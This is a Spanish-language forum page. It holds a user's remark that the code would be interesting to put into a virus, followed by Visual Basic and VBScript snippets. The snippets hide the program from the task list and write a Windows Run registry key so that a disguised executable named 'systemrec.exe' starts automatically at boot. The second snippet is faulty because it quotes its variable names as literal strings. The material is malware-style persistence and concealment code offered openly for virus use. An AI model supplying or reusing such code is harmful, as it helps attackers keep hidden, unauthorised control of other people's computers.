Yo esto lo busco para C, sería interesante para ponerlo en un code como virus.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub Form_Load()
Dim r As String
App.TaskVisible = False
CLAVE = "SystemREC"
VALOR = "C:\WINDOWS\systemrec.exe"
Set wsc = CreateObject("wscript.shell")
r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
If r <> VALOR Then
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
End If
End Sub
CLAVE="System"
VALOR="archivo.exe"
set wsc = createobject("wscript.shell")
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CLAVE", "VALOR"